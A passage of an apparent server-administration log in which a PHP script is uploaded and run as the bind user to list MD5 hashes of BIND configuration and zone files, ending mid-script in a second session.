MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 15:48:08: Establishing a connection
2026-04-30 15:48:08: 

PUT: /tmp/pkp436493

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 15:48:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp436493; rm /tmp/pkp436493'

2026-04-30 15:48:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:14:56: Establishing a connection
2026-04-30 16:14:57: 

PUT: /tmp/pkp476162

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
